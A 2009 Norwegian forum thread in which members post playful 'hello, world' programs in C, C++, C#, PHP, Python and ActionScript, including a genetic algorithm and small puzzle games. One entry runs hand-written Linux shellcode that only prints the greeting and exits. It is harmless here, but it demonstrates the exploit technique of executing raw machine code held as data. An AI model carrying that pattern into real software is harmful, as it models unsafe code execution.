Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  114 24882
Trigonoceps occipita
vidarlo's Avatar
Donor
Vi har vel alle skreve utallige varianter av Hello, World!. Eit av dei første kjende "Hello, world"-programmet vart skreve av den ikkje heilt ukjende Brian Kernighan, i C:

Kode

main() {
        printf("hello, world");
 }
Så enkelt kan det gjerast. Eller det kan gjerast endå enklare. Det kan kortast ned til ei linje i t.d python eller php - print "Hello, world". Eller du kan koke det ut til fleirfoldige linjer C som eit bidrag til IOCCC.

Vel. Der var almendanninga gjennomført, så la oss komme til poenget.

Den over tredve år gamle trelinjeren ovanfor kompilerer i dag. Men den er kjedeleg. Den er tre linjer. Og Hello, World er eit kulturelt innslag i programmeringsmiljø!

Men kvifor i alle dager skal vi halde oss til tre, eller ei linje? Det finst så mange måter å skrive ein enkel tekst på!

Oppgåva er enkelt og greit å skrive eit program, i eit valfritt språk som det finst tolkerar for, som skriv ut teksten. Dess fleire artige krumspring du tar, dess betre. Endå betre er det om det ikkje ser ut som om det printer Hello, World, men noko heilt anna. Andre ting? Kva om koden er formatert som ASCII-art utgåve av Hello, world?

Kort sagt. Lag eit program som gir utputten "hello, world". Den stringen. Ikkje linjeskift på slutten, ingenting anna. Dei 12 teikna.

Fristen for å komme med bidrag? 1. mars 00:00 enkelt og greitt. Dei beste bidraga vil bli plukka ut av meg og |d13m0b rimelig kjapt etter det

Vi ser fram til bidraga Dei kan postast her i tråden, sidan vi satser på at folk er ærlige nok til å ikkje kopiere direkte. Dessutan har vi falkeblikk! Så post i veg

Edit: vi kjører ioccc-style på reglane. Dvs at regelbrudd vil bli slått hardt ned på, men tøying av reglane, og leiting etter loopholes vil generelt sett telle positivt.
Sist endret av vidarlo; 16. februar 2009 kl. 18:41.
Får slenge inn et lite bidrag for å få ting i gang:
using System;

namespace HelloWorld
{
class hewo
{
static void Main()
{
string one;
string two;
string three;
string four;
int ione;
Random iojne = new Random();

ione = iojne.Next(0, 3);

if (ione == 1)
{
one = "hell";
two = " worl";
}
else
{
one = "hello,";
two = " world";
}
if (one == "hell")
{
three = "o,";
four = "d";
}
else
{
three = "";
four = "";
}
string coll;
coll = one + three + two + four;
Console.WriteLine(coll);

}
}
}
Vis hele sitatet...
For øvrig skrevet i C#
Sist endret av Bitronic; 16. februar 2009 kl. 00:31. Grunn: tilleggsinformasjon
Credits til slashdot for å komme på denne oppgaven. Svært interessant. Jeg bidrar selv med et innslag i dette. Min versjon er et Hello World program som utvikler en streng til å si "Hello World". Basert på darvinisme.

Starter med en populasjon (2048 stykker) av tilfeldige strenger. Deretter går jeg igjennom hele populasjonen, og beregner hvilke av disse strengene som er nærmest en "target streng (Hello world!)".

Jeg tar så vare på 10% av populasjonen, det er disse som er best egnet til å føre sine "gener" videre til neste generasjon. 90% av populasjonen blir tatt knekken på, og den resterende 10% bruker jeg til å produsere nye strenger. Dette gjøres ved paring av strengene. Ta to strenger, finn et punkt som kalles crossover, og bytt om på verdiene så en ny streng dannes. Har også tatt i betraktning mutasjon. Det er 25% sjangse for at en paring skal resultere i en 1 byte mutasjon.

Bruteforce with a twist.

Og joda, jeg skreiv dette i C++ da jeg i den siste måneden har holdt meg til ANSI C99, så tenkte det kunne være et friskt pust. Det er lenge siden jeg har skrevet C++, så det er sikkert en hel del optimaliseringer som kan gjøres her, men det har ikke vært det som har vært mitt mål her. Ei heller leselighet.

Jeg avviker dog litt fra reglene slashdot har stipulert, men hey! Må nesten det for å vise at evolusjonens gang fører til et resultat jeg ønsker. Det som er interessant med slikt, er at jeg ikke forteller direkte hva som er korrekt måte å gå fram, men at jeg har en funksjon som forteller hvor godt egnet en streng er, og så har jeg et predefinert mål. Måten å komme seg til målet, "finner den ut selv".

Utput:

Kode

Generation 0 Best cromosome with fitness 165, Urgtm4g\dS]8
Generation 1 Best cromosome with fitness 146, iYjfp,?jpZd@
Generation 2 Best cromosome with fitness 107, CidFj!_xgke1
Generation 3 Best cromosome with fitness 102, EhRpl0cdyuh%
Generation 4 Best cromosome with fitness 92, ;blfv Dml`d9
Generation 5 Best cromosome with fitness 63, @dkbo!aboek#
Generation 6 Best cromosome with fitness 59, Egovu&Imxof#
Generation 7 Best cromosome with fitness 50, Lloto!Qypic&
Generation 8 Best cromosome with fitness 48, Ciifv!Ntpmf
Generation 9 Best cromosome with fitness 42, LahdoSeroe$
Generation 10 Best cromosome with fitness 38, Calmr#Ntpmf
Generation 11 Best cromosome with fitness 34, Idktm Seroe$
Generation 12 Best cromosome with fitness 27, Hdflp#Umrk]%
Generation 13 Best cromosome with fitness 20, Idkmq#Xjpke"
Generation 14 Best cromosome with fitness 20, Idkmq#Xjpke"
Generation 15 Best cromosome with fitness 17, Hhlmr Tmpke"
Generation 16 Best cromosome with fitness 14, Idklp Tmpke"
Generation 17 Best cromosome with fitness 12, Hdllp Umrmf
Generation 18 Best cromosome with fitness 11, Hdllp Xmrk`"
Generation 19 Best cromosome with fitness 10, Hdllo#Umrkd"
Generation 20 Best cromosome with fitness 10, HdllpUmrme"
Generation 21 Best cromosome with fitness 9, Hdllo Umrkf"
Generation 22 Best cromosome with fitness 8, Hdllp Umrkd"
Generation 23 Best cromosome with fitness 7, Hdllo Xmrkd#
Generation 24 Best cromosome with fitness 5, Hdllp Xorkd"
Generation 25 Best cromosome with fitness 5, Hdllp Xorkd"
Generation 26 Best cromosome with fitness 5, Hdllp Xorkd"
Generation 27 Best cromosome with fitness 5, Hdllo Xorme"
Generation 28 Best cromosome with fitness 4, Hdllo Xorkd"
Generation 29 Best cromosome with fitness 4, Hdllo Xorkd"
Generation 30 Best cromosome with fitness 4, Hdllo Xorkd"
Generation 31 Best cromosome with fitness 3, Hdllo Workd"
Generation 32 Best cromosome with fitness 3, Hello Xorkd"
Generation 33 Best cromosome with fitness 3, Hello Xorkd"
Generation 34 Best cromosome with fitness 3, Hdllo Xorkd!
Generation 35 Best cromosome with fitness 2, Hello Xorkd!
Generation 36 Best cromosome with fitness 2, Hello Xorld"
Generation 37 Best cromosome with fitness 1, Hello World"
Generation 38 Best cromosome with fitness 1, Hello World"
Generation 39 Best cromosome with fitness 1, Hello World"
Generation 40 Best cromosome with fitness 1, Hello Workd!
Generation 41 Best cromosome with fitness 0, Hello World!
Kildekode: http://helloworldc.pastebin.com/f59b45c15

Edit: Det staves forøvrig Chromosome, ikke cromosome. :/
Sist endret av m0b; 16. februar 2009 kl. 17:16.
med fruktkjøtt.
Tias's Avatar
DonorCrew
Haha, awesome |d13m0b! Kommer til å bli vanskelig å toppe din genetiske algoritme.
Trigonoceps occipita
vidarlo's Avatar
Trådstarter Donor
m0b er partisk siden han er dommer tias, så don't worry
Dette høres interessant ut. Jeg får vel røske opp i de gamle C++ og gamedev skillza og se hva jeg får til. Tenker det blir et crypto-puzzle spill.

Kode

class HelloWorldApp {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}
Her er mitt bidrag. Programmert i med Java-språk hvis dette teller.
Clr: Litt av poenget her er kreative måter å spytte ut det slashdot spør etter. Så om du har noen interessante vinklinger til dette, så er de også hjertelig velkomne!
Da var mitt bidrag ferdig. Jeg har ikke kodet noe på flere år, så det er VELDIG hacky og stygt, men det funker i alle fall.

Du skriver et input på 11 tegn, og spillet gir deg et output. Prøv å få det til å spytte ut "Hello World". Om du vil spille spillet, ikke les koden, for da blir det ikke så veldig puzzle. Men når jeg tenker meg om er kanskje koden så rotete og rar at det blir en større utfordring.

Kodet for windows i C++ (bruker system("cls"); blant annet), og den kompilede exefilen kan lastes ned her: http://rapidshare.com/files/198861740/test.exe.html

Kode:

Kode

// Declarations & Includes

#include <cstdlib> 
#include <iostream>

void Mixit();
char out[128];
char in[128] = "Mongo Spill";
int offset[128];
int win = 0;

// Main

using namespace std;
int main()
{
    srand((unsigned)time(0));
    Mixit();
    for(int i=0;i<=10;i++)
    offset[i]=(rand()%8);
    
    cout << "This game generates output depending on your input and other hidden factors.\n"
         << "Try to make it show the right output!\n\n"
         << "Probably a bit buggy, but should work fine if you only enter letters and\n"
         << "spaces. If you enter space or a number as the first character, the game exits.\n\n";
    system("pause");
    system("cls");
    
    
    while(win==0)
    {
        for(int i=0;i<=10;i++)
        offset[i] ++;
        for(int i=0;i<=10;i++)
        {
                if(in[i]<97 && i != 5 && in[i]!=' ')
                in[i] = in[i] + 32; //Sett alt til lowercase
        }
        
        if(in[0]>=97 && in[0]<=122)
        in[0] = in[0] - 32;             //Adjust first letter uppercase (in)
        
        if(in[6]>=97 && in[6]<=122)
        in[6] = in[6] - 32;             //Adjust first letter uppercase (in)
        
        
        for(int i=0;i<=10;i++)
        {
                if(in[i]==' ')
                out[i]=' ';
                else
                {
                    out[i] = in[i] + offset[i];
                    while(out[i]>122 && out[i]!=' ')
                    out[i] = out[i] - 26;
                    while(out[i]<97 && out[i]!=' ')
                    out[i] = out[i] + 26;
                }
        }
        
        if(out[0]>=97 && out[0]<=122)
        out[0] = out[0] - 32;             //Adjust first letter uppercase (out)
        
        if(out[6]>=97 && out[6]<=122)
        out[6] = out[6] - 32;             //Adjust first letter uppercase (out)
        

        
        out[5] = ' ';
                
        cout << "Input : ";
        for(int i=0;i<=10;i++)
        cout << in[i];
        cout << "\n";
        
        cout << "Output: ";
        for(int i=0;i<=10;i++)
        cout << out[i];
        cout << "\n";
        
        cout << "Next  : ";
        cin.getline(in,128);
        
        if(  out[0]=='H' 
         &&  out[1]=='e' 
         &&  out[2]=='l' 
         &&  out[3]=='l' 
         &&  out[4]=='o' 
         &&  out[5]==' ' 
         &&  out[6]=='W' 
         &&  out[7]=='o'
         &&  out[8]=='r'
         &&  out[9]=='l'
         && out[10]=='d')
         {
         win = 1;
         cout << "\n\n    Congratulations, you won!\n\n";
         }
         
         if( in[0]<60 )
         {
         win = -1;
         cout << "\n\n    Game exiting. Bye!\n\n";
         }
    }
    
    system("pause");
    return 0;
}

// Functions

void Mixit()
{      
      for(int i=0;i<=10;i++)
      {
           out[i] = (rand()%26)+97;
      }
};
Og her er mitt bidrag:

Kode

<?php $path=$_SERVER["SCRIPT_NAME"];      
$path=explode('/',$path);// dette er da programmet mitt. det er fint,  
$file = $path[count(  $path  ) - 1]; //men veldig rotete. stress å rydde opp. 
$handle=@fopen($file,"r");if($handle){#klisje, I know. Men det var gøy å kode.
while ( !feof( $handle) ) {//jeg liker å skrive unrelated bs i programmene mine. 
$buffer=fgets(
  
$handle,  4096 ) ; $count = 0  //  da er programmene mye gøyere å lese gjennom senere.   
;  for ( $i=0; $i < strlen( $buffer );  $i++){  //  men kanskje ikke for andre?  
if ($buffer{$i} = ' ') { $count++; } } //som faktisk prøver å forstå koden. jaja.   
$count=$count-2;//nå bør vel mange ha gjettet hvordan programmet funker, eh?  
echo  chr( $count + 30 );} fclose( $handle );}//v2 coming. maybe.     
?>
(Viktig med newline etter '?>'!)
Trigonoceps occipita
vidarlo's Avatar
Trådstarter Donor
Bare for å illustrere kor fantastisk effektivt m0b sin kode er, så er her sann tilfeldighet utan seleksjon. Beregn god tid. Veldig god. Eit par døgn gjerne.

Kode

#!/usr/bin/env python
from random import randint as rand
solution = "hello, world"
hello = "helo, wrd"
letters = []
def guess(length, hello):
    global letters
    if (len(letters) <= length):
        guess(length-1, hello)
        letters.append(hello[(rand(0, len(hello)-1))])
    return letters
word = ''
tries = 0
#print guess(len(solution), hello)
while (''.join(word) != solution):
    word = guess(len(solution)-1, hello)
    letters = []
    tries = tries +1
    if (tries%50000 == 0):
        print tries
print ''.join(word)
print "Tok " + str(tries) + " forsok"
Og eg har hjelpt på litt ved å redusere søkerommet til kun dei tegna som skal vere med...
Sist endret av vidarlo; 16. februar 2009 kl. 22:12.
Her er min versjon av Hello World!. Et lite dataspill. Tegnet med Flash og kodet i ActionScript 3.0. Jeg vet ikke om det er noe poeng å sette inn koden her egentlig, menmen...

Kode

var hjulFart:Number = 3;
var robotFart:Number = 4;

var pilVest:Boolean = false;
var pilOst:Boolean = false;
var pilOpp:Boolean = false;
var pilNed:Boolean = false;

robot.heisekran.rotation = -90;
robot.heisekran.tau.rotation = 90;


stage.addEventListener(Event.ENTER_FRAME, Update);
stage.addEventListener(KeyboardEvent.KEY_DOWN, KeyPress);
stage.addEventListener(KeyboardEvent.KEY_UP, KeyRelease);


function Update(e:Event):void
{
	stage.focus = this;	
	
	if(pilOpp)
	{
		robot.heisekran.rotation += 2;
		robot.heisekran.tau.rotation -= 2;
		
		if(robot.heisekran.rotation > 90)
		{
			robot.heisekran.rotation = 90;
			robot.heisekran.tau.rotation = -90;
		}
	}
	if(pilNed)
	{
		robot.heisekran.rotation -= 2;
		robot.heisekran.tau.rotation += 2;
		
		if(robot.heisekran.rotation < -90)
		{
			robot.heisekran.rotation = -90;
			robot.heisekran.tau.rotation = 90;
		}
	}
	
	if(pilVest)
	{
		robot.hjul1.rotation += hjulFart;
		robot.hjul2.rotation -= hjulFart;
		robot.hjul3.rotation -= hjulFart;
		robot.x -= robotFart;
	}
	if(pilOst)
	{
		robot.hjul1.rotation -= hjulFart;
		robot.hjul2.rotation += hjulFart;
		robot.hjul3.rotation += hjulFart;
		robot.x += robotFart;
	}
	
	if(robot.x > 720)
	{
		robot.x = 720;
	}
	if(robot.x < 80)
	{
		robot.x = 80;
	}
	
	if(robot.heisekran.tau.hand.hitTestPoint(knapp.x, knapp.y-20, true))
	{
		knapp.play();
		if(knapp.currentFrame == 20)
		{
			neon.play();
		}
	}
}


function KeyPress(event:KeyboardEvent):void
{
	if(event.keyCode == Keyboard.LEFT)
	{
		pilVest = true;
	}
	if(event.keyCode == Keyboard.RIGHT)
	{
		pilOst = true;
	}
	if(event.keyCode == Keyboard.DOWN)
	{
		pilNed = true;
	}
	if(event.keyCode == Keyboard.UP)
	{
		pilOpp = true;
	}
}

function KeyRelease(event:KeyboardEvent):void
{
	if(event.keyCode == Keyboard.LEFT)
	{
		pilVest = false;
	}
	if(event.keyCode == Keyboard.RIGHT)
	{
		pilOst = false;
	}
	if(event.keyCode == Keyboard.DOWN)
	{
		pilNed = false;
	}
	if(event.keyCode == Keyboard.UP)
	{
		pilOpp = false;
	}
}
Ti poeng til deg som finner Hello world i spillet
Sist endret av marsboer; 17. februar 2009 kl. 00:12.
Gjetter på den store røde knappen..

Edit: Ødela spillet ditt.. Hvis du slipper pekefingeren helt ned og kjører over knappen med den funker det ikke :C
Sist endret av drittunge; 17. februar 2009 kl. 00:15.
nso
popålol
nso's Avatar
Administrator
Sitat av The Freak Vis innlegg
Og her er mitt bidrag
Vis hele sitatet...
Applaus
Sist endret av nso; 17. februar 2009 kl. 00:17.
Sitat av drittunge Vis innlegg
Ødela spillet ditt.. Hvis du slipper pekefingeren helt ned og kjører over knappen med den funker det ikke :C
Vis hele sitatet...
Takk for tips. En merkelig bug, men den er fikset nå
OT @ marsboer:
Siden din funker ikke i Firefox med meg. :/
Sitat av juzz Vis innlegg
OT @ marsboer:
Siden din funker ikke i Firefox med meg. :/
Vis hele sitatet...
Hmm, hva med denne?

edit:
Du trenger Adobe Flash Player, om du ikke allerede har.
Sist endret av marsboer; 17. februar 2009 kl. 01:20.
Har flashplayer. Pent laget.
Lite kontroversiell
ticks's Avatar
Sitat av marsboer Vis innlegg
Her er min versjon av Hello World!. Et lite dataspill. Tegnet med Flash og kodet i ActionScript 3.0. Jeg vet ikke om det er noe poeng å sette inn koden her egentlig, menmen...

Kode

var hjulFart:Number = 3;
var robotFart:Number = 4;

var pilVest:Boolean = false;
var pilOst:Boolean = false;
var pilOpp:Boolean = false;
var pilNed:Boolean = false;

robot.heisekran.rotation = -90;
robot.heisekran.tau.rotation = 90;


stage.addEventListener(Event.ENTER_FRAME, Update);
stage.addEventListener(KeyboardEvent.KEY_DOWN, KeyPress);
stage.addEventListener(KeyboardEvent.KEY_UP, KeyRelease);


function Update(e:Event):void
{
	stage.focus = this;	
	
	if(pilOpp)
	{
		robot.heisekran.rotation += 2;
		robot.heisekran.tau.rotation -= 2;
		
		if(robot.heisekran.rotation > 90)
		{
			robot.heisekran.rotation = 90;
			robot.heisekran.tau.rotation = -90;
		}
	}
	if(pilNed)
	{
		robot.heisekran.rotation -= 2;
		robot.heisekran.tau.rotation += 2;
		
		if(robot.heisekran.rotation < -90)
		{
			robot.heisekran.rotation = -90;
			robot.heisekran.tau.rotation = 90;
		}
	}
	
	if(pilVest)
	{
		robot.hjul1.rotation += hjulFart;
		robot.hjul2.rotation -= hjulFart;
		robot.hjul3.rotation -= hjulFart;
		robot.x -= robotFart;
	}
	if(pilOst)
	{
		robot.hjul1.rotation -= hjulFart;
		robot.hjul2.rotation += hjulFart;
		robot.hjul3.rotation += hjulFart;
		robot.x += robotFart;
	}
	
	if(robot.x > 720)
	{
		robot.x = 720;
	}
	if(robot.x < 80)
	{
		robot.x = 80;
	}
	
	if(robot.heisekran.tau.hand.hitTestPoint(knapp.x, knapp.y-20, true))
	{
		knapp.play();
		if(knapp.currentFrame == 20)
		{
			neon.play();
		}
	}
}


function KeyPress(event:KeyboardEvent):void
{
	if(event.keyCode == Keyboard.LEFT)
	{
		pilVest = true;
	}
	if(event.keyCode == Keyboard.RIGHT)
	{
		pilOst = true;
	}
	if(event.keyCode == Keyboard.DOWN)
	{
		pilNed = true;
	}
	if(event.keyCode == Keyboard.UP)
	{
		pilOpp = true;
	}
}

function KeyRelease(event:KeyboardEvent):void
{
	if(event.keyCode == Keyboard.LEFT)
	{
		pilVest = false;
	}
	if(event.keyCode == Keyboard.RIGHT)
	{
		pilOst = false;
	}
	if(event.keyCode == Keyboard.DOWN)
	{
		pilNed = false;
	}
	if(event.keyCode == Keyboard.UP)
	{
		pilOpp = false;
	}
}
Ti poeng til deg som finner Hello world i spillet
Vis hele sitatet...
Kul og stilig liten applet, men du må være klar over at det ser ut til at du har brutt reglene, spesielt med tanke på følgende:
Kort sagt. Lag eit program som gir utputten "hello, world". Den stringen. Ikkje linjeskift på slutten, ingenting anna. Dei 12 teikna.
Vis hele sitatet...
The Freak inspirerte meg til å lage en PHP-kode!

-> http://tinyurl.com/af2o8h

Henter ASCII-koder fra en ekstern xml-fil, analyserer innholdet og lager et eget array med egne nøkler og returnerer til slutt Hello, world. Snakker vi en ny versjon av chr()?
Sist endret av ma10as; 17. februar 2009 kl. 03:38.
Ok, skreiv en til.

http://niggaboo.pastebin.com/m7d31792a

Kode

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define Z(x) "%s", x
#define Y(x) printf
#define X(x) Y(Z(x));

int main( int argc, char *argv[] )
{
	char *p = (char*)calloc( 13, sizeof(char) );
	memset( p, 96, sizeof(char)*12 );	
	(*p)++;++(*p);++(*p);(*p)++;++(*p);(*p)++;(*p)++;++(*p);
	p++;++(*p);++(*p);++(*p);++(*p);(*p)++;
	p++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;
	++p;++(*p);(*p)++;++(*p);(*p)++;(*p)++;++(*p);++(*p);(*p)++;++(*p);(*p)++;++(*p);(*p)++; 
	p++;++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);
	p++;--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);
	--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);
	--(*p);--(*p);--(*p);--(*p);(*p)--;--(*p);(*p)--;--(*p);--(*p);--(*p);
	--(*p);(*p)--;--(*p);(*p)--;--(*p);(*p)--;--(*p);--(*p);--(*p);--(*p);
	--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);(*p)--;--(*p);--(*p);
	--(*p);--(*p);p++;--(*p);(*p)--;(*p)--;--(*p);(*p)--;--(*p);--(*p);--(*p);--(*p);--(*p);
	--(*p);--(*p);--(*p);--(*p);(*p)--;(*p)--;(*p)--;--(*p);--(*p);--(*p);
	(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;
	--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);
	--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);--(*p);(*p)--;
	(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;(*p)--;	
	p++;++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);
	++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);
	p++;++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);++(*p);
	++(*p);++(*p);++(*p);++(*p);++(*p);p++;++(*p);++(*p);(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;
	(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;++p;(*p)++;(*p)++;(*p)++;(*p)++;
	(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;(*p)++;++p;(*p)++;(*p)++;(*p)++;(*p)++;--p;p--;--p;
	p--;--p;--p;--p;--p;--p;p--;--p;X(p)
	return 0;
}
Sitat av marsboer Vis innlegg
Her er min versjon av Hello World!. Et lite dataspill. Tegnet med Flash og kodet i ActionScript 3.0. Jeg vet ikke om det er noe poeng å sette inn koden her egentlig, menmen...

Ti poeng til deg som finner Hello world i spillet
Vis hele sitatet...
Artig. Ingen som har klart mitt spill enda, da?
Hehe, jeg lagde verdens simpleste!

Kode

<?php

// Hello, World!
// Cromoglic


$h = "H";
$e = "e";
$l = "l";
$l2 = "l";
$o = "o";
$comma = ",";
$space = " ";
$w = "W";
$o2 = "o";
$r = "r";
$l3 = "l";
$bokstavd = "d";

$helloworld = $h . $e . $l . $l2 . $o . $comma . $space . $w . $o2 . $r . $l3 . $bokstavd;
echo $helloworld;
?>
Om det er OK, skal jeg prøve å legge til litt andre ting - tror jeg kan lære litt her!
Sist endret av cromoglic; 17. februar 2009 kl. 14:40.
Lite kontroversiell
ticks's Avatar
Sitat av Pantheon Vis innlegg
Artig. Ingen som har klart mitt spill enda, da?
Vis hele sitatet...
Var i ferd med å prøve, men linken din må du gjøre noe med. Ikke flere autoriserte nedlastinger. Kan foreslå ZippyShare.
Ikke bare et dyr
Dyret's Avatar
Donor
Shellcode er jo obligatorisk. Skal se om jeg kommer på noe smartere innen fristen, men foreløpig er dette mitt bidrag.

Kode

#define s "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0c\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64";
int main(){int(*ret)()=(int(*)())s;(int)(*ret)();}
Artig oppgave! Har nesten ikke progget i C++ siden den MasterMind-aktige tråden for ~1.5 år siden Og enda lenger siden digitalteknikk, så da fikk jeg egentlig en kjærkommen refresh på et par ting.

2 spørsmål:

1: Håper C++ er greit, Slashdot skrev noe om språk det finnes tolkere til.. en kjapp gooogling sier meg at det faktisk finnes.

2: Kan jeg poste forbedringer? Hvis ikke, ok, da er this is it.

Koden kan helt sikkert forbedres (sikkert veldig "skolerett"). Forslaget om å gjøre det om til ASCII Art likte jeg, men jeg tror ikke jeg får det til.

Ble imponert over marsboer's flash, men hvor i all verden er data'ene til "hello world" punktene som utgjør skriften? Så ingenting i koden du postet, marsboer.

Ok, mitt forslag:

Kode

// Hello World
// "hello, world" på tungvin måte

// 2009.02.17 - supercopyright (C) 10goto10 på nFF

#include <iostream>
using namespace std;
unsigned short binaryToGray(unsigned short num);

int main()
{
    bool a,b,c,d,e,f,g,dill;
    unsigned char megaton[16];
    unsigned int verdi;

    for (unsigned short sjoko=0;sjoko<16;sjoko++)
    {
        if (sjoko==8) sjoko=12;
        unsigned short lade=binaryToGray(sjoko);
        d = lade & 8;
        e = lade & 4;
        f = lade & 2;
        g = lade & 1;
        verdi = 0;
        for (unsigned short melk=0;melk<8;melk++)
        {
            unsigned short namnam=binaryToGray(melk);
            a = namnam & 1;
            b = namnam & 2;
            c = namnam & 4;

            dill = a&!c&!e | b&c&!d&!e&f | c&e&!f&!g | b&c&e&!f | a&b&!c | c&d&!e&!f&!g | a&!b&c&d&!e&!f;
            dill = dill | !a&b&c&!e&!f&!g | b&!c&d&!e&!f&g | a&b&c&d&!e&f | b&c&d&f&!g | b&c&e&!f;
            dill = dill | a&!c&!d&e&!f&!g | a&!c&!d&e&f&g | b&!c&!d&e&f&g;
            dill = dill | a&c&!d&e&f&g | !b&c&!d&e&f&g | a&b&c&!d&!e&g | !a&!b&c&!d&!e&!f&g;
            if (dill==true)
            {
                int jalla=1; // gadd ikke ta en #include <math> -ting bare for å få 2^(7-melk)
                for (int digitval=0;digitval<7-melk;digitval++) jalla = jalla * 2;
                verdi = verdi + jalla;
            }
        }
        megaton[lade] = (unsigned char)verdi;
    }

    for (int i=0;i<12;i++)
    {
        cout << megaton[i];
    }
}

// Jeg skal innrømme at jeg fant denne (og den reversible, ikke tatt med her) snutten på nettet:
// http://www.dspguru.com/comp.dsp/tricks/alg/grayconv.htm
unsigned short binaryToGray(unsigned short num)
{
        return (num>>1) ^ num;
}
Sitat av |d13m0b Vis innlegg
Vis hele sitatet...
Kunne nesten like så greit tatt det i brainfuck? ^^
Joda, men brainfuck er så "standard".
Sitat av 10goto10 Vis innlegg
Ble imponert over marsboer's flash, men hvor i all verden er data'ene til "hello world" punktene som utgjør skriften? Så ingenting i koden du postet, marsboer.
Vis hele sitatet...
Akkurat "Hello World"-lysene er egentlig et movieclip, som blir utløst når kranen trykker knappen. Den heter forøvrig neon.play(); som starter avspillingen.

Ja, jeg tror jeg brøt reglene, hehe. Men denne gangen lager jeg noe annet som er nesten ren kode. En rotasjonskode der du må rotere bokstavene for å få dem i riktig rekkefølge.

http://flash.tripossible.no/rotasjonskode.html (eller rotasjonskode.swf)


Kode

var empty:String = "none";

var a1:String = "L";
var b1:String = "O";
var c1:String = "E";
var d1:String = "L";
var e1:String = "O";

var a2:String = "R";
var b2:String = "D";
var c2:String = "L";
var d2:String = "W";
var e2:String = "H";

a1T.text = a1.toString();
b1T.text = b1.toString();
c1T.text = c1.toString();
d1T.text = d1.toString();
e1T.text = e1.toString();
	
a2T.text = a2.toString();
b2T.text = b2.toString();
c2T.text = c2.toString();
d2T.text = d2.toString();
e2T.text = e2.toString();

var counting:uint = 0;

stage.addEventListener(Event.ENTER_FRAME, Update);

abLeft.addEventListener(MouseEvent.CLICK, abLeftFunc);
abRight.addEventListener(MouseEvent.CLICK, abRightFunc);

bcLeft.addEventListener(MouseEvent.CLICK, bcLeftFunc);
bcRight.addEventListener(MouseEvent.CLICK, bcRightFunc);

cdLeft.addEventListener(MouseEvent.CLICK, cdLeftFunc);
cdRight.addEventListener(MouseEvent.CLICK, cdRightFunc);

deLeft.addEventListener(MouseEvent.CLICK, deLeftFunc);
deRight.addEventListener(MouseEvent.CLICK, deRightFunc);

congrats.visible = false;
congrats.tryAgain.addEventListener(MouseEvent.CLICK, restartFunc);

function Update(e:Event):void
{
	a1T.text = a1.toString();
	b1T.text = b1.toString();
	c1T.text = c1.toString();
	d1T.text = d1.toString();
	e1T.text = e1.toString();
	
	a2T.text = a2.toString();
	b2T.text = b2.toString();
	c2T.text = c2.toString();
	d2T.text = d2.toString();
	e2T.text = e2.toString();
	
	countT.countN.text = counting.toString();
	
	if(a1 == "H" && b1 == "E" && c1 == "L" && d1 == "L" && e1 == "O" && a2 == "W" && b2 == "O" && c2 == "R" && d2 == "L" && e2 == "D")
	{
		trace("Hello, World");
		
		congrats.visible = true;
	}
}

function abLeftFunc(event:MouseEvent):void 
{
	empty = a1;
	a1 = b1;
	b1 = b2;
	b2 = a2;
	a2 = empty;
	
	counting += 1;
}

function abRightFunc(event:MouseEvent):void 
{
	empty = a1;
	a1 = a2;
	a2 = b2;
	b2 = b1;
	b1 = empty;
	
	counting += 1;
}

function bcLeftFunc(event:MouseEvent):void 
{
	empty = b1;
	b1 = c1;
	c1 = c2;
	c2 = b2;
	b2 = empty;
	
	counting += 1;
}

function bcRightFunc(event:MouseEvent):void 
{
	empty = b1;
	b1 = b2;
	b2 = c2;
	c2 = c1;
	c1 = empty;
	
	counting += 1;
}

function cdLeftFunc(event:MouseEvent):void 
{
	empty = c1;
	c1 = d1;
	d1 = d2;
	d2 = c2;
	c2 = empty;
	
	counting += 1;
}

function cdRightFunc(event:MouseEvent):void 
{
	empty = c1;
	c1 = c2;
	c2 = d2;
	d2 = d1;
	d1 = empty;
	
	counting += 1;
}

function deLeftFunc(event:MouseEvent):void 
{
	empty = d1;
	d1 = e1;
	e1 = e2;
	e2 = d2;
	d2 = empty;
	
	counting += 1;
}

function deRightFunc(event:MouseEvent):void 
{
	empty = d1;
	d1 = d2;
	d2 = e2;
	e2 = e1;
	e1 = empty;
	
	counting += 1;
}

function restartFunc(event:MouseEvent):void 
{
	congrats.visible = false;
	
	a1 = "L";
	b1 = "O";
	c1 = "E";
	d1 = "L";
	e1 = "O";

	a2 = "R";
	b2 = "D";
	c2 = "L";
	d2 = "W";
	e2 = "H";
	
	counting = 0;
}
